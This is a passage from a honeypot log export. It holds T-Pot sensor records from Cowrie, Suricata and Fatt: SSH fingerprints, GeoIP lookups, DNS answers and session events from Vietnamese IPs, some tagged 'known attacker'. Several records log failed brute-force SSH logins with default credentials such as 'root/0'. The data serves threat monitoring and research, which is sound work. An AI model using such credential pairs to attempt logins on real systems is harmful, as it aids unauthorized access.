"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27724	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:26.10488+03	2021-09-20 14:30:01.839523+03	{"_id": "PQbqAnwBvYTbRNuE_Coa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8fc810a53adb", "@version": "1", "timestamp": "2021-09-20T11:15:26.104880Z", "@timestamp": "2021-09-20T11:15:26.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27725	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:26.179636+03	2021-09-20 14:30:01.840525+03	{"_id": "PgbqAnwBvYTbRNuE_Coa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [user/password] failed", "session": "19233e3e5185", "@version": "1", "password": "password", "username": "user", "timestamp": "2021-09-20T11:15:26.179636Z", "@timestamp": "2021-09-20T11:15:26.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27726	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:27.364483+03	2021-09-20 14:30:01.842524+03	{"_id": "QgbqAnwBvYTbRNuE_yo_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34976, "dest_port": 443, "timestamp": "2021-09-20T11:15:27.364483", "@timestamp": "2021-09-20T11:15:27.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27727	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:27.189434+03	2021-09-20 14:30:01.843523+03	{"_id": "RgbrAnwBvYTbRNuEACoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/0] failed", "session": "8fc810a53adb", "@version": "1", "password": "0", "username": "root", "timestamp": "2021-09-20T11:15:27.189434Z", "@timestamp": "2021-09-20T11:15:27.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27728	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:27.190388+03	2021-09-20 14:30:01.844524+03	{"_id": "SQbrAnwBvYTbRNuEACoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 38 seconds", "session": "13955cabdae7", "@version": "1", "duration": 38.66861963272095, "timestamp": "2021-09-20T11:15:27.190388Z", "@timestamp": "2021-09-20T11:15:27.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27729	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:15:27.316316+03	2021-09-20 14:30:01.846524+03	{"_id": "SwbrAnwBvYTbRNuEASrn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 39459, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1719, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 912950819802580, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55819, "timestamp": "2021-09-20T11:15:27.316316Z", "@timestamp": "2021-09-20T11:15:27.316Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27740	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:15:29.532692+03	2021-09-20 14:30:01.860523+03	{"_id": "ewbrAnwBvYTbRNuECSq5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1299407682237262, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57006, "dest_port": 22, "timestamp": "2021-09-20T11:15:29.532692Z", "@timestamp": "2021-09-20T11:15:29.532Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27730	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:29.008588+03	2021-09-20 14:30:01.847523+03	{"_id": "bQbrAnwBvYTbRNuEByoS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36710, "dest_port": 22, "timestamp": "2021-09-20T11:15:29.008588", "@timestamp": "2021-09-20T11:15:29.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27731	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:29.132644+03	2021-09-20 14:30:01.848524+03	{"_id": "aQbrAnwBvYTbRNuEByoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38606, "timestamp": "2021-09-20T11:15:29.132644", "@timestamp": "2021-09-20T11:15:29.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27732	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:28.853664+03	2021-09-20 14:30:01.849523+03	{"_id": "bgbrAnwBvYTbRNuEByrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38606 (192.168.176.2:22) [session: 128b1807e603]", "session": "128b1807e603", "@version": "1", "protocol": "ssh", "src_port": 38606, "dest_port": 22, "timestamp": "2021-09-20T11:15:28.853664Z", "@timestamp": "2021-09-20T11:15:28.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27733	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:29.313064+03	2021-09-20 14:30:01.851524+03	{"_id": "bwbrAnwBvYTbRNuEByrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:57006 (192.168.176.2:22) [session: 7537ca1348be]", "session": "7537ca1348be", "@version": "1", "protocol": "ssh", "src_port": 57006, "dest_port": 22, "timestamp": "2021-09-20T11:15:29.313064Z", "@timestamp": "2021-09-20T11:15:29.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27734	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:28.878339+03	2021-09-20 14:30:01.852524+03	{"_id": "dQbrAnwBvYTbRNuEByrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "128b1807e603", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:28.878339Z", "@timestamp": "2021-09-20T11:15:28.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27735	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:29.009395+03	2021-09-20 14:30:01.853524+03	{"_id": "dgbrAnwBvYTbRNuEByrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c05db1dbd4e1", "@version": "1", "timestamp": "2021-09-20T11:15:29.009395Z", "@timestamp": "2021-09-20T11:15:29.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 